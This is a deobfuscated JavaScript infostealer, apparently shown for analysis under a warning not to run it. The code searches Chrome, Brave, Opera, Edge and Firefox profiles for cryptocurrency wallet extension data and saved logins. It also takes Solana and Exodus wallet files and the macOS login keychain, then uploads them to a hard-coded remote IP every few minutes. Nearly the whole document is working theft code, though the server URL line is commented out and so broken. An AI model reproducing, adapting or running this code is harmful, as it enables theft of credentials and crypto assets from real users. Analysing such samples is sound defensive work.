Deobfuscated Code

Deobfuscated Malicious Code - Absolutely do not run

const fs = require('fs');
const os = require('os');
const path = require('path');
const request = require('request');
const { exec } = require('child_process');

// System information
const hostname = os.hostname();
const platform = os.platform();
const homeDir = os.homedir();
const tempDir = os.tmpdir();
const serverUrl =// http://45.128.52.14:1224

// Helper function to resolve paths, handling '~' for home directory
const resolvePath = (p) => p.replace(/^~([a-z]+|\/)/, (match, p1) =>
  p1 === '/' ? homeDir : path.dirname(homeDir) + '/' + p1
);

// Function to check if a file or directory exists
function fileExists(filePath) {
  try {
    fs.accessSync(filePath);
    return true;
  } catch (err) {
    return false;
  }
}

// Browser paths for different platforms
const bravePaths = [
  'Local/BraveSoftware/Brave-Browser',       // Windows
  'BraveSoftware/Brave-Browser',             // macOS
  'BraveSoftware/Brave-Browser'              // Linux
];
const chromePaths = [
  'Local/Google/Chrome',                     // Windows
  'Google/Chrome',                           // macOS
  'google-chrome'                            // Linux
];
const operaPaths = [
  'Roaming/Opera Software/Opera Stable',     // Windows
  'com.operasoftware.Opera',                 // macOS
  'opera'                                    // Linux
];

// Extension IDs for cryptocurrency wallets (e.g., MetaMask)
const extensionIds = [
  'nkbihfbeogaeaoehlefnkodbefgpgknn', // MetaMask
  // ... (other extension IDs)
];

// Function to search for extension data in browser profiles
const findExtensionData = async (browserBasePath, prefix, includeSolana, timestamp) => {
  let collectedFiles = [];
  if (!browserBasePath || browserBasePath === '') {
    return [];
  }

  try {
    if (!fileExists(browserBasePath)) {
      return [];
    }
  } catch (err) {
    return [];
  }

  for (let profileIndex = 0; profileIndex < 200; profileIndex++) {
    const profilePath = path.join(
      browserBasePath,
      profileIndex === 0 ? 'Default' : `Profile ${profileIndex}`,
      'Local Extension Settings'
    );

    for (const extId of extensionIds) {
      const extPath = path.join(profilePath, extId);
      if (fileExists(extPath)) {
        let files;
        try {
          files = fs.readdirSync(extPath);
        } catch (err) {
          files = [];
        }

        for (const file of files) {
          const filePath = path.join(extPath, file);
          try {
            const stats = fs.statSync(filePath);
            if (stats.isDirectory()) {
              continue;
            }
            const fileOptions = {
              filename: `${timestamp}_${prefix}${profileIndex}_${extId}_${file}`
            };
            collectedFiles.push({
              value: fs.createReadStream(filePath),
              options: fileOptions
            });
          } catch (err) {
            // Ignore errors
          }
        }
      }
    }
  }

  // Collect Solana key file if includeSolana is true
  if (includeSolana) {
    const solanaKeyPath = path.join(homeDir, '.config', 'solana', 'id.json');
    if (fs.existsSync(solanaKeyPath)) {
      try {
        const fileOptions = { filename: 'solana_id.txt' };
        collectedFiles.push({
          value: fs.createReadStream(solanaKeyPath),
          options: fileOptions
        });
      } catch (err) {
        // Ignore errors
      }
    }
  }

  uploadFiles(collectedFiles, timestamp);
  return collectedFiles;
};

// Function to upload collected files to the remote server
const uploadFiles = (files, timestamp) => {
  const formData = {
    type: '39',
    hid: `391_${hostname}`,
    uts: timestamp,
    multi_file: files
  };

  try {
    if (files.length > 0) {
      const options = {
        url: `${serverUrl}/uploads`,
        formData: formData
      };
      request.post(options, (err, response, body) => {
        // Handle response if necessary
      });
    }
  } catch (err) {
    // Handle errors
  }
};

// Function to collect Firefox extension data
const collectFirefoxData = (timestamp) => {
  const profilesPath = resolvePath('~/') + '/AppData/Roaming/Mozilla/Firefox/Profiles';
  let collectedFiles = [];

  if (fileExists(profilesPath)) {
    let profileDirs = [];
    try {
      profileDirs = fs.readdirSync(profilesPath);
    } catch (err) {
      profileDirs = [];
    }

    let profileCounter = 0;
    for (const profileDir of profileDirs) {
      const profilePath = path.join(profilesPath, profileDir);
      if (profilePath.includes('-release')) {
        const storagePath = path.join(profilePath, 'storage', 'default');
        let storageDirs = [];
        try {
          storageDirs = fs.readdirSync(storagePath);
        } catch (err) {
          storageDirs = [];
        }

        let extensionCounter = 0;
        for (const storageDir of storageDirs) {
          if (storageDir.includes('moz-extension')) {
            let idbPath = path.join(storagePath, storageDir, 'idb');
            let idbFiles = [];
            try {
              idbFiles = fs.readdirSync(idbPath);
            } catch (err) {
              idbFiles = [];
            }

            for (const idbFile of idbFiles) {
              if (idbFile.includes('.files')) {
                const filesPath = path.join(idbPath, idbFile);
                let files = [];
                try {
                  files = fs.readdirSync(filesPath);
                } catch (err) {
                  files = [];
                }

                for (const file of files) {
                  const filePath = path.join(filesPath, file);
                  if (!fs.statSync(filePath).isDirectory()) {
                    const fileOptions = {
                      filename: `${profileCounter}_${extensionCounter}_${file}`
                    };
                    collectedFiles.push({
                      value: fs.createReadStream(filePath),
                      options: fileOptions
                    });
                  }
                }
              }
            }
          }
          extensionCounter += 1;
        }
      }
      profileCounter += 1;
    }
    uploadFiles(collectedFiles, timestamp);
    return collectedFiles;
  }
};

// Function to collect Exodus wallet data
const collectExodusData = (timestamp) => {
  let exodusPath = '';

  if (platform.startsWith('w')) {
    exodusPath = resolvePath('~/') + '/AppData/Roaming/Exodus/exodus.wallet';
  } else if (platform.startsWith('d')) {
    exodusPath = resolvePath('~/') + '/Library/Application Support/exodus.wallet';
  } else {
    exodusPath = resolvePath('~/') + '/.config/Exodus/exodus.wallet';
  }

  let collectedFiles = [];
  if (fileExists(exodusPath)) {
    let walletFiles = [];
    try {
      walletFiles = fs.readdirSync(exodusPath);
    } catch (err) {
      walletFiles = [];
    }

    for (const file of walletFiles) {
      const filePath = path.join(exodusPath, file);
      try {
        const fileOptions = { filename: `391_${file}` };
        collectedFiles.push({
          value: fs.createReadStream(filePath),
          options: fileOptions
        });
      } catch (err) {
        // Ignore errors
      }
    }
  }
  uploadFiles(collectedFiles, timestamp);
  return collectedFiles;
};

// Function to collect Keychain data on macOS
const collectMacKeychainData = (timestamp) => {
  let collectedFiles = [];
  let keychainPath = path.join(homeDir, 'Library', 'Keychains', 'login.keychain');

  if (fs.existsSync(keychainPath)) {
    try {
      const fileOptions = { filename: 'logkc-db' };
      collectedFiles.push({
        value: fs.createReadStream(keychainPath),
        options: fileOptions
      });
    } catch (err) {
      // Ignore errors
    }
  } else {
    keychainPath += '-db';
    if (fs.existsSync(keychainPath)) {
      try {
        const fileOptions = { filename: 'logkc-db' };
        collectedFiles.push({
          value: fs.createReadStream(keychainPath),
          options: fileOptions
        });
      } catch (err) {
        // Ignore errors
      }
    }
  }

  // Collecting Chrome Login Data
  try {
    const chromeBasePath = path.join(homeDir, 'Library', 'Application Support', 'Google', 'Chrome');
    if (fileExists(chromeBasePath)) {
      for (let profileIndex = 0; profileIndex < 200; profileIndex++) {
        const profilePath = path.join(
          chromeBasePath,
          profileIndex === 0 ? 'Default' : `Profile ${profileIndex}`,
          'Login Data'
        );
        try {
          if (!fileExists(profilePath)) {
            continue;
          }
          const tempFilePath = path.join(chromeBasePath, `ld_${profileIndex}`);
          const fileOptions = { filename: `pld_${profileIndex}` };
          if (fileExists(tempFilePath)) {
            collectedFiles.push({
              value: fs.createReadStream(tempFilePath),
              options: fileOptions
            });
          } else {
            fs.copyFile(profilePath, tempFilePath, (err) => {
              if (!err) {
                const filesToUpload = [{
                  value: fs.createReadStream(profilePath),
                  options: { filename: `pld_${profileIndex}` }
                }];
                uploadFiles(filesToUpload, timestamp);
              }
            });
          }
        } catch (err) {
          // Ignore errors
        }
      }
    }
  } catch (err) {
    // Ignore errors
  }

  // Collecting Brave Login Data
  try {
    const braveBasePath = path.join(homeDir, 'Library', 'Application Support', 'BraveSoftware', 'Brave-Browser');
    if (fileExists(braveBasePath)) {
      for (let profileIndex = 0; profileIndex < 200; profileIndex++) {
        const profilePath = path.join(
          braveBasePath,
          profileIndex === 0 ? 'Default' : `Profile ${profileIndex}`
        );
        try {
          if (!fileExists(profilePath)) {
            continue;
          }
          const loginDataPath = path.join(profilePath, 'Login Data');
          const fileOptions = { filename: `brld_${profileIndex}` };
          if (fileExists(loginDataPath)) {
            collectedFiles.push({
              value: fs.createReadStream(loginDataPath),
              options: fileOptions
            });
          } else {
            fs.copyFile(profilePath, loginDataPath, (err) => {
              if (!err) {
                const filesToUpload = [{
                  value: fs.createReadStream(profilePath),
                  options: { filename: `brld_${profileIndex}` }
                }];
                uploadFiles(filesToUpload, timestamp);
              }
            });
          }
        } catch (err) {
          // Ignore errors
        }
      }
    }
  } catch (err) {
    // Ignore errors
  }

  uploadFiles(collectedFiles, timestamp);
  return collectedFiles;
};

// Function to collect browser login data
const collectLoginData = async (browserPaths, prefix, timestamp) => {
  let collectedFiles = [];
  let basePath = '';

  if (platform.startsWith('d')) {
    // macOS
    basePath = path.join(homeDir, 'Library', 'Application Support', browserPaths[1]);
  } else if (platform.startsWith('l')) {
    // Linux
    basePath = path.join(homeDir, '.config', browserPaths[2]);
  } else {
    // Windows
    basePath = path.join(homeDir, 'AppData', browserPaths[0], 'User Data');
  }

  const localStatePath = path.join(basePath, 'Local State');
  if (fs.existsSync(localStatePath)) {
    try {
      const fileOptions = { filename: `${prefix}_lst` };
      collectedFiles.push({
        value: fs.createReadStream(localStatePath),
        options: fileOptions
      });
    } catch (err) {
      // Ignore errors
    }
  }

  try {
    if (fileExists(basePath)) {
      for (let profileIndex = 0; profileIndex < 200; profileIndex++) {
        const profilePath = path.join(
          basePath,
          profileIndex === 0 ? 'Default' : `Profile ${profileIndex}`,
          'Login Data'
        );
        try {
          if (!fileExists(profilePath)) {
            continue;
          }
          const fileOptions = { filename: `${prefix}_${profileIndex}_uld` };
          collectedFiles.push({
            value: fs.createReadStream(profilePath),
            options: fileOptions
          });
        } catch (err) {
          // Ignore errors
        }
      }
    }
  } catch (err) {
    // Ignore errors
  }

  uploadFiles(collectedFiles, timestamp);
  return collectedFiles;
};

// Main function to start data collection
const startDataCollection = async () => {
  try {
    const timestamp = Math.round(Date.now() / 1000);
    await findExtensionData(chromePaths[0], '0_', false, timestamp);
    await findExtensionData(bravePaths[0], '1_', false, timestamp);
    await findExtensionData(operaPaths[0], '2_', false, timestamp);
    collectExodusData(timestamp);

    if (platform.startsWith('w')) {
      await findExtensionData(
        path.join(homeDir, 'AppData', 'Local', 'Microsoft', 'Edge', 'User Data'),
        '3_',
        false,
        timestamp
      );
    }

    if (platform.startsWith('d')) {
      collectMacKeychainData(timestamp);
    } else {
      await collectLoginData(chromePaths, '0', timestamp);
      await collectLoginData(bravePaths, '1', timestamp);
      await collectLoginData(operaPaths, '2', timestamp);
    }
  } catch (err) {
    // Handle errors
  }
};

startDataCollection();

// Schedule data collection to repeat after a certain interval
let intervalCounter = 0;
const maxIntervals = 2;
const dataCollectionInterval = setInterval(() => {
  intervalCounter += 1;
  if (intervalCounter < maxIntervals) {
    startDataCollection();
  } else {
    clearInterval(dataCollectionInterval);
  }
}, 300000); // 5 minutes in milliseconds